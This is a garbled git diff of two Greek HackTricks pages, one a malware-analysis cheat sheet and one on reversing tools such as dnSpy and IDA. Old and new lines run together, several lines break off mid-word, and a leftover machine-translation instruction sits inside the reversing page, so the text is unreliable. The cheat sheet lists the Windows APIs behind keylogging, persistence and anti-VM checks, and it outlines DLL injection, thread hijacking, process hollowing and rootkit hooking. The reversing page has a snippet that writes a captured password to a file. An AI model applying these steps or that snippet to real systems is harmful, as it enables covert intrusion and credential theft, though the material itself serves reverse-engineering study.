* Ανακαλύψτε [**την οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ## Γενικά
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από APIs έως web εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. ### Δικτύωση
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
# Γενικά
## Δικτύωση
| Raw Sockets | WinAPI Sockets | | Raw Sockets | WinAPI Sockets |
| ------------- | -------------- | | ------------- | -------------- |
@ -36,9 +29,9 @@
| write() | send() | | write() | send() |
| shutdown() | WSACleanup() | | shutdown() | WSACleanup() |
## Μόνιμη Αποθήκευση ### Διατήρηση
| Καταχώρηση Μητρώου | Αρχείο | Υπηρεσία | | Registry | File | Service |
| ---------------- | ------------- | ---------------------------- | | ---------------- | ------------- | ---------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager | | RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() | | RegOpenKeyEx() | CopyFile() | CreateService() |
@ -46,7 +39,7 @@
| RegDeleteKeyEx() | WriteFile() | | | RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | | | RegGetValue() | ReadFile() | |
## Κρυπτογράφηση ### Κρυπτογράφηση
| Όνομα | | Όνομα |
| --------------------- | | --------------------- |
@ -57,9 +50,9 @@
| CryptDecrypt() | | CryptDecrypt() |
| CryptReleaseContext() | | CryptReleaseContext() |
## Αντι-Ανάλυση/VM ### Αντι-Ανάλυση/Εικονική Μηχανή
| Όνομα Συνάρτησης | Οδηγίες Συναρτήσεων Συναρμολόγησης | | Όνομα Συνάρτησης | Οδηγίες Συναρμολόγησης |
| --------------------------------------------------------- | --------------------- | | --------------------------------------------------------- | --------------------- |
| IsDebuggerPresent() | CPUID() | | IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() | | GetSystemInfo() | IN() |
@ -68,21 +61,21 @@
| CreateToolhelp32Snapshot \[Έλεγχος εάν ένα πρόγραμμα εκτελείται] | | | CreateToolhelp32Snapshot \[Έλεγχος εάν ένα πρόγραμμα εκτελείται] | |
| CreateFileW/A \[Έλεγχος εάν υπάρχει ένα αρχείο] | | | CreateFileW/A \[Έλεγχος εάν υπάρχει ένα αρχείο] | |
## Αόρατος ### Αόρατος
| Όνομα | | | Όνομα | |
| ------------------------ | -------------------------------------------------------------------------- | | ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | Εκχώρηση μνήμης (packers) | | VirtualAlloc | Εκχώρηση μνήμης (packers) |
| VirtualProtect | Αλλαγή δικαιωμάτων μνήμης (packer που δίνει δικαιώματα εκτέλεσης σε μια ενότητα) | | VirtualProtect | Αλλαγή δικαιωμάτων μνήμης (packer που δίνει άδεια εκτέλεσης σε μια ενότητα) |
| ReadProcessMemory | Εισαγωγή σε εξωτερικές διεργασίες | | ReadProcessMemory | Ενσωμάτωση σε εξωτερικές διεργασίες |
| WriteProcessMemoryA/W | Εισαγωγή σε εξωτερικές διεργασίες | | WriteProcessMemoryA/W | Ενσωμάτωση σε εξωτερικές διεργασίες |
| NtWriteVirtualMemory | | | NtWriteVirtualMemory | |
| CreateRemoteThread | Εισαγωγή DLL/διεργασίας... | | CreateRemoteThread | Ενσωμάτωση DLL/Διεργασίας... |
| NtUnmapViewOfSection | | | NtUnmapViewOfSection | |
| QueueUserAPC | | | QueueUserAPC | |
| CreateProcessInternalA/W | | | CreateProcessInternalA/W | |
## Εκτέλεση ### Εκτέλεση
| Όνομα Συνάρτησης | | Όνομα Συνάρτησης |
| ---------------- | | ---------------- |
@ -92,10 +85,65 @@
| ResumeThread | | ResumeThread |
| NtResumeThread | | NtResumeThread |
## Διάφορα ### Διάφορα
* GetAsyncKeyState() -- Καταγραφή πλήκτρων * GetAsyncKeyState() -- Καταγραφή πλήκτρων
* SetWindowsHookEx -- Καταγραφή πλήκτρων * SetWindowsHookEx -- Καταγραφή πλήκτρων
* GetForeGroundWindow -- Λ * GetForeGroundWindow -- Λήψη ονόματος τρέχοντος παραθύρου (ή της ιστοσελίδας από έναν περιηγητή)
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα Telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * LoadLibrary() -- Εισαγωγή βιβλιοθήκης
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * GetProcAddress() -- Εισαγωγή βιβλιοθήκης
* CreateToolhelp32Snapshot() -- Κατάλογος εκτελούμενων διεργασιών
* GetDC() -- Στιγμιότυπο οθόνης
* BitBlt() -- Στιγμιότυπο οθόνης
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Πρόσβαση στο Διαδίκτυο
* FindResource(), LoadResource(), LockResource() -- Πρόσβαση σε πόρους του εκτελέσιμου
## Τεχνικές Κακόβουλου Λογισμικού
### Ενσωμάτωση DLL
Εκτέλεση ενός αυθαίρετου DLL μέσα σε μια άλλη διεργασία
1. Εντοπισμός της διεργασίας για την ενσωμάτωση του κακόβουλου DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
2. Άνοιγμα της διεργασίας: GetModuleHandle, GetProcAddress, OpenProcess
3. Εγγραφή του διαδρόμου προς το DLL μέσα στη διεργασία: VirtualAllocEx, WriteProcessMemory
4. Δημιουργία ενός νήματος στη διεργασία που θα φορτώσει το κακόβουλο DLL: CreateRemoteThread, LoadLibrary
Άλλες συναρτήσεις που μπορούν να χρησιμοποιηθούν: NTCreateThreadEx, RtlCreateUserThread
### Αντανάκλαστη Ενσωμάτωση DLL
Φόρτωση ενός κακόβουλου DLL χωρίς να καλούνται κανονικές κλήσεις API των Windows.\
Το DLL αντιστοιχίζεται μέσα σε μια διεργασία, θα επιλύσει τις διευθύνσεις εισαγωγής, θα διορθώσει τις ανακατευθύνσεις και θα καλέσει τη λειτουργία DllMain.
### Απαγωγή Νήματος
Εύρεση ενός νήματος από μια διεργασία και κάντε το να φορτώσει ένα κακόβουλο DLL
1. Εύρεση ενός στόχου νήματος: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. Άνοιγμα του νήματος: OpenThread
3. Αναστολή του νήματος: SuspendThread
4. Εγγραφή του διαδρόμου προς το κακόβουλο DLL μέσα στη διεργασία-θύμα: VirtualAllocEx, WriteProcessMemory
5. Επαναφορά του νήματος που φορτώνει τη βιβλιοθήκη: ResumeThread
### Ενσωμάτωση PE
Ενσωμάτωση Φορητής Εκτέλεσης: Το εκτελέσιμο θα γραφτεί στη μνήμη της διεργασίας-θύματος και θα εκτελεστεί από εκεί.
### Άδειασμα Διεργασίας
Το κακόβουλο λογισμικό θα απεγκαταστήσει το νόμιμο κώδικα από τη μνήμη της διεργασίας και θα φορτώσει ένα κακόβουλο δυαδικό
1. Δημιουργία νέας διεργασίας: CreateProcess
2. Απεγκατάσταση της μνήμης: ZwUnmapViewOfSection, NtUnmapViewOfSection
3. Εγγραφή του κακόβουλου δυαδικού στη μνήμη της διεργασίας: VirtualAllocEc, WriteProcessMemory
4. Ορισμός του σημείου εισόδου και εκτέλεση: SetThreadContext, ResumeThread
## Αγκάλιασμα
* Η **SSDT** (**Πίνακας Περιγραφής Υπηρεσιών Συστήματος**) δείχνει σε λειτουργίες πυρήνα (ntoskrnl.exe) ή οδηγού GUI (win32k.sys) ώστε οι διεργασίες χρήστη να μπορούν να καλέσουν αυτές τις λειτουργίες.
* Ένα rootkit μπορεί να τροποποιήσει αυτούς τους δείκτες σε διευθύνσεις που ελέγχει
* Τα **IRP** (**Πακέτα Αιτημάτων I/O**) μεταφέρουν κομμάτια δεδομένων από ένα στοιχείο σε ένα άλλο. Σχεδόν όλα στον πυρήνα χρησιμοποιούν IRPs και κάθε αντικείμενο συσκευής έχει τον δικό του πίνακα λειτουργιών που μπορεί να αγκιλωθεί: DKOM (Απευθείας Παραβίαση Αντικειμένων Πυρήνα)
* Ο **IAT** (**Πίνακας Διεύθυνσης Εισαγωγής**) είναι χρήσιμος για την επίλυση εξαρτήσεων. Είναι δυνατό να αγκιλωθεί αυτός ο πίνακας για να απαγάγει τον κώδικα που θα κληθεί.
* **EAT** (**Πίνακας Διεύθυνσης Εξαγωγής**) Hooks. Αυτά τα hooks μπορούν να γίνουν από το **userland**. Ο στόχος είναι να γίνει αγκίλωση εξαγόμενων λειτουργιών από DLLs.
* **Inline Hooks**: Αυτού του τύπου είναι δύσκολο να επιτευχθούν. Αυτό περιλαμβάνει την τροποποίηση του κώδικα των συναρτήσεων ίδιες. Ίσως με την τοποθέτηση ε

View file

@ -1,28 +1,20 @@
# Εργαλεία αναστροφής και βασικές μέθοδοι # Εργαλεία Αναστροφής & Βασικές Μέθοδοι
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ## Εργαλεία Αναστροφής βασισμένα στο ImGui
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές σάρωσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από APIs έως web εφαρμογές και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Εργαλεία αναστροφής βασισμένα στο ImGui
Λογισμικό: Λογισμικό:
@ -32,9 +24,9 @@
Online: Online:
* Χρησιμοποιήστε το [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) για να **αποσυνταγματοποιήσετε** από wasm (δυαδικό) σε wat (καθαρό κείμενο) * Χρησιμοποιήστε [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) για **αποσυνταγματοποίηση** από wasm (δυαδικό) σε wat (καθαρό κείμενο)
* Χρησιμοποιήστε το [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) για να **μεταγλωττίσετε** από wat σε wasm * Χρησιμοποιήστε [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) για **μεταγλώττιση** από wat σε wasm
* μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε το [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) για αποσυνταγματοποίηση * Μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) για αποσυνταγματοποίηση
Λογισμικό: Λογισμικό:
@ -45,20 +37,30 @@ Online:
### [dotPeek](https://www.jetbrains.com/decompiler/) ### [dotPeek](https://www.jetbrains.com/decompiler/)
Το dotPeek είναι ένας αποσυνταγματοποιητής που **αποσυνταγματοποιεί και εξετάζει πολλές μορφές**, συμπεριλαμβανομένων των **βιβλιοθηκών** (.dll), των **αρχείων μεταδεδομένων των Windows** (.winmd) και των **εκτελέσιμων αρχείων** (.exe). Μόλις αποσυνταγματοποιηθεί, μια συλλογή μπορεί να αποθηκευτεί ως ένα έργο Visual Studio (.csproj). Το dotPeek είναι ένας αποσυνταγματοποιητής που **αποσυνταγματοποιεί και εξετάζει πολλές μορφές**, συμπεριλαμβανομένων των **βιβλιοθηκών** (.dll), των **αρχείων μεταδεδομένων των Windows** (.winmd) και των **εκτελέσιμων αρχείων** (.exe). Μόλις αποσυνταγματοποιηθεί, μια συναγωγή μπορεί να αποθηκευτεί ως ένα project του Visual Studio (.csproj).
Το πλεονέκτημα εδώ είναι ότι εάν ένας χαμένος πηγαίος κώδικας απαιτεί αποκατάσταση από μια παλαιότερη συλλογή, αυτή η ενέργεια μπορεί να εξοικονομήσει χρόνο. Επιπλέον, το dotPeek παρέχει βολική πλοήγηση σε όλον τον αποσυνταγματοποιημένο κώδικα, καθιστώντας το ένα από τα ιδανικά εργαλεία για ανάλυση αλγορίθμων Xamarin. Το πλεονέκτημα εδώ είναι ότι αν ένας χαμένος πηγαίος κώδικας απαιτεί αποκατάσταση από έναν παλαιότερο συναγωγό, αυτή η ενέργεια μπορεί να εξοικονομήσει χρόνο. Επιπλέον, το dotPeek παρέχει βολική πλοήγηση σε ολόκληρο τον αποσυνταγματοποιημένο κώδικα, κάνοντάς το ένα από τα ιδανικά εργαλεία για ανάλυση αλγορίθμων Xamarin.
### [.Net Reflector](https://www.red-gate.com/products/reflector/) ### [.Net Reflector](https://www.red-gate.com/products/reflector/)
Με έναν εκτεταμένο μοντέλο πρόσθετων και μια API που επεκτείνει το εργαλείο για να ταιριάζει με τις ακριβείς ανάγκες σας, το .NET reflector εξοικονομεί χρόνο και απλοποιεί την ανάπτυξη. Ας ρίξουμε μια ματιά στην πληθώρα υπηρεσιών ανάπτυξης ανάποδης μηχανικής που παρέχει αυτό το εργαλείο: Με ένα πλήρες μοντέλο πρόσθετων και μια API που επεκτείνει το εργαλείο για να ταιριάζει με τις ακριβείς ανάγκες σας, το .NET reflector εξοικονομεί χρόνο και απλοποιεί την ανάπτυξη. Ας ρίξουμε μια ματιά στην πληθώρα υπηρεσιών ανάστροφης μηχανικής που παρέχει αυτό το εργαλείο:
* Παρέχει μια εικόνα για το πώς ρέει οι δεδομένα μέσα από μια βιβλιοθήκη ή ένα συστατικό * Παρέχει μια εικόνα για το πώς ρέει τα δεδομένα μέσω μιας βιβλιοθήκης ή ενός στοιχείου
* Παρέχει μια εικόνα για την υλοποίηση και χρήση των γλωσσών και πλαισίων του .NET * Παρέχει εικόνα για την υλοποίηση και χρήση των γλωσσών και πλαισίων του .NET
* Βρίσκει μη τεκμηριωμένη και μη αποκαλυπτόμενη λειτουργικότητα για να αξιοποιήσει περισσότερα από τα APIs και τις τεχνολογίες που χρησιμοποιούνται. * Βρίσκει μη τεκμηριωμένη και μη εκτεθειμένη λειτουργικότητα για να αξιοποιήσετε περισσότερα από τις APIs και τις τεχνολογίες που χρησιμοποιούνται.
* Βρίσκει εξαρτήσεις και διάφορες συλλογές * Βρίσκει εξαρτήσεις και διαφορετικές συναθρώσεις
* Εντοπίζει την ακριβή τοποθεσία των σφαλμάτων στον κώδικά σας, σε συστατικά τρίτων και σε βιβλιοθήκες. * Εντοπίζει την ακριβή τοποθεσία των σφαλμάτων στον κώδικά σας, σε συστατικά τρίτων και βιβλιοθήκες.
* Αποσφαλματώνει τον πηγ * Κάνει αποσφαλμάτωση στην πηγή όλου του κώδικα .NET με τον οποίο εργάζεστε.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Πρόσθετο ILSpy για το Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Μπορείτε να το έχετε σε οποιοδήποτε λειτουργικό σύστημα (μπορείτε να το εγκαταστήσετε απευθείας από το VSCode, χωρίς να χρειάζεται να κατεβάσετε το git. Κάντε κλικ στα **Επεκτάσεις** και **αναζητήστε το ILSpy**).\
Αν χρειάζεστε να **αποσυνταγματοποιήσετε**, **τροποποιήσετε** και **επαναμεταγλωττίσετε** ξανά μπορείτε να χρησιμοποιήσετε: [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Δεξί Κλικ -> Τροποποίηση Μεθόδου** για να αλλάξετε κάτι μέσα σε μια λειτουργία).\
Μπορείτε επίσης να δοκιμάσετε [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)
### Καταγραφή DNSpy
Για να κάνετε το **DNSpy να καταγράφει κάποιες πληροφορίες σε ένα αρχείο**, μπορείτε να χρησιμοποιήσετε αυτές τις γραμμές κώδικα .Net:
```bash ```bash
using System.IO; using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt"; path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -66,17 +68,15 @@ File.AppendAllText(path, "Password: " + password + "\n");
``` ```
### Αποσφαλμάτωση με το DNSpy ### Αποσφαλμάτωση με το DNSpy
Για να αποσφαλματώσετε κώδικα χρησιμοποιώντας το DNSpy, πρέπει να ακολουθήσετε τα παρακάτω βήματα: Για να αποσφαλματώσετε κώδικα χρησιμοποιώντας το DNSpy πρέπει να:
Πρώτα, αλλάξτε τα **χαρακτηριστικά συναρτήσεων** που σχετίζονται με την **αποσφαλμάτωση**: Πρώτα, αλλάξτε τα **Χαρακτηριστικά Συναθροίσεων** που σχετίζονται με την **αποσφαλμάτωση**:
![](<../../.gitbook/assets/image (278).png>) ![](<../../.gitbook/assets/image (278).png>)
```aspnet ```aspnet
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
``` ```
Προς: Προς:
Αυτό είναι το περιεχόμενο από ένα βιβλίο για χάκινγκ σχετικά με τεχνικές χάκινγκ. Το παρακάτω περιεχόμενο είναι από το αρχείο /hive/hacktricks/reversing/reversing-tools-basic-methods/README.md. Μεταφράστε το σχετικό αγγλικό κείμενο στα ελληνικά και επιστρέψτε τη μετάφραση διατηρώντας ακριβώς την ίδια σύνταξη markdown και html. Μην μεταφράζετε πράγματα όπως κώδικας, ονόματα τεχνικών χάκινγκ, όροι χάκινγκ, ονόματα πλατφορμών cloud/SaaS (όπως Workspace, aws, gcp...), ο όρος 'διαρροή', pentesting και ετικέτες markdown. Επίσης, μην προσθέτετε κανένα επιπλέον περιεχόμενο εκτός από τη μετάφραση και τη σύνταξη markdown.
``` ```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.DisableOptimizations |
@ -87,77 +87,77 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
![](<../../.gitbook/assets/image (314) (1) (1).png>) ![](<../../.gitbook/assets/image (314) (1) (1).png>)
Στη συνέχεια, αποθηκεύστε το νέο αρχείο στο _**File >> Save module...**_: Στη συνέχεια αποθηκεύστε το νέο αρχείο στο _**File >> Save module...**_:
![](<../../.gitbook/assets/image (279).png>) ![](<../../.gitbook/assets/image (279).png>)
Αυτό είναι απαραίτητο επειδή αν δεν το κάνετε αυτό, κατά τη διάρκεια της **εκτέλεσης** θα εφαρμοστούν αρκετές **βελτιστοποιήσεις** στον κώδικα και είναι δυνατόν να μην εκτελεστεί ποτέ ένα **σημείο διακοπής** κατά την αποσφαλμάτωση ή να μην υπάρχουν κάποιες **μεταβλητές**. Αυτό είναι απαραίτητο επειδή αν δεν το κάνετε, κατά τη διάρκεια της **runtime** θα εφαρμοστούν αρκετές **βελτιστοποιήσεις** στον κώδικα και είναι δυνατόν να μην επιτευχθεί ένα **σημείο διακοπής** κατά την εκτέλεση της αποσφαλμάτωσης ή να μην υπάρχουν κάποιες **μεταβλητές**.
Στη συνέχεια, αν η εφαρμογή .Net σας **τρέχει** από τον **IIS**, μπορείτε να τον **επανεκκινήσετε** με: Στη συνέχεια, εάν η εφαρμογή .Net σας τρέχει μέσω του **IIS**, μπορείτε να την **επανεκκινήσετε** με:
``` ```
iisreset /noforce iisreset /noforce
``` ```
Στη συνέχεια, για να ξεκινήσετε την αποσφαλμάτωση, πρέπει να κλείσετε όλα τα ανοιχτά αρχεία και εντός της **Καρτέλας Αποσφαλμάτωσης** επιλέξτε **Σύνδεση σε Διεργασία...**: Στη συνέχεια, για να ξεκινήσετε την εντοπισμό σφαλμάτων, πρέπει να κλείσετε όλα τα ανοιχτά αρχεία και εντός της **Καρτέλας Debug** επιλέξτε **Σύνδεση σε Διεργασία...**:
![](<../../.gitbook/assets/image (280).png>) ![](<../../.gitbook/assets/image (280).png>)
Στη συνέχεια, επιλέξτε το **w3wp.exe** για να συνδεθείτε στον **IIS server** και κάντε κλικ στο **σύνδεση**: Στη συνέχεια επιλέξτε **w3wp.exe** για να συνδεθείτε στο **IIS server** και κάντε κλικ στο **σύνδεση**:
![](<../../.gitbook/assets/image (281).png>) ![](<../../.gitbook/assets/image (281).png>)
Τώρα που αποσφαλματώνουμε τη διαδικασία, είναι ώρα να την σταματήσουμε και να φορτώσουμε όλα τα αρθρώματα. Πρώτα κάντε κλικ στο _Αποσφαλμάτωση >> Διάλειμμα Όλων_ και στη συνέχεια κάντε κλικ στο _**Αποσφαλμάτωση >> Παράθυρα >> Αρθρώματα**_: Τώρα που είμαστε στη διαδικασία εντοπισμού σφαλμάτων, είναι καιρός να τη σταματήσουμε και να φορτώσουμε όλα τα modules. Κάντε κλικ πρώτα σε _Debug >> Διακοπή Όλων_ και στη συνέχεια κάντε κλικ σε _**Debug >> Παράθυρα >> Modules**_:
![](<../../.gitbook/assets/image (286).png>) ![](<../../.gitbook/assets/image (286).png>)
![](<../../.gitbook/assets/image (283).png>) ![](<../../.gitbook/assets/image (283).png>)
Κάντε κλικ σε οποιοδήποτε αρθρώματα στα **Αρθρώματα** και επιλέξτε **Άνοιγμα Όλων των Αρθρωμάτων**: Κάντε κλικ σε οποιοδήποτε module στα **Modules** και επιλέξτε **Άνοιγμα Όλων των Modules**:
![](<../../.gitbook/assets/image (284).png>) ![](<../../.gitbook/assets/image (284).png>)
Κάντε δεξί κλικ σε οποιοδήποτε αρθρώματα στο **Εξερευνητή Συναρμολογήσεων** και κάντε κλικ στο **Ταξινόμηση Συναρμολογήσεων**: Κάντε δεξί κλικ σε οποιοδήποτε module στο **Assembly Explorer** και κάντε κλικ στο **Ταξινόμηση Συναρτήσεων**:
![](<../../.gitbook/assets/image (285).png>) ![](<../../.gitbook/assets/image (285).png>)
## Αποσυμπιεστής Java ## Java decompiler
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\ [https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases) [https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
## Αποσφαλμάτωση DLLs ## Debugging DLLs
### Χρησιμοποιώντας το IDA ### Χρησιμοποιώντας το IDA
* **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32bit στο C:\Windows\SysWOW64\rundll32.exe) * **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32 bit στο C:\Windows\SysWOW64\rundll32.exe)
* Επιλέξτε τον αποσφαλματωτή **Windbg** * Επιλέξτε τον **αποσφαλματωτή Windbg**
* Επιλέξτε "**Παύση κατά τη φόρτωση/αφόρτωση βιβλιοθηκών**" * Επιλέξτε "**Διακοπή στη φόρτωση/εκφόρτωση βιβλιοθήκης**"
![](<../../.gitbook/assets/image (135).png>) ![](<../../.gitbook/assets/image (135).png>)
* Διαμορφώστε τις **παραμέτρους** της εκτέλεσης βάζοντας το **διαδρομή προς το DLL** και τη συνάρτηση που θέλετε να καλέσετε: * Διαμορφώστε τις **παραμέτρους** της εκτέλεσης βάζοντας τη **διαδρομή προς το DLL** και τη συνάρτηση που θέλετε να καλέσετε:
![](<../../.gitbook/assets/image (136).png>) ![](<../../.gitbook/assets/image (136).png>)
Στη συνέχεια, όταν ξεκινήσετε την αποσφαλμάτωση, η εκτέλεση θα σταματήσει όταν φορτώνεται κάθε DLL, έπειτα, όταν το rundll32 φορτώσει το DLL σας, η εκτέλεση θα σταματήσει. Στη συνέχεια, όταν ξεκινήσετε την αποσφαλμάτωση, η εκτέλεση θα σταματήσει όταν φορτωθεί κάθε DLL, έτσι όταν το rundll32 φορτώσει το DLL σας, η εκτέλεση θα σταματήσει.
Αλλά, πώς μπορείτε να φτάσετε στον κώδικα του DLL που φορτώθηκε; Χρησιμοποιώντας αυτήν τη μέθοδο, δεν ξέρω πώς. Αλλά, πώς μπορείτε να φτάσετε στον κώδικα του DLL που φορτώθηκε; Χρησιμοποιώντας αυτήν τη μέθοδο, δεν ξέρω πώς.
### Χρησιμοποιώντας το x64dbg/x32dbg ### Χρησιμοποιώντας x64dbg/x32dbg
* **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32bit στο C:\Windows\SysWOW64\rundll32.exe) * **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32 bit στο C:\Windows\SysWOW64\rundll32.exe)
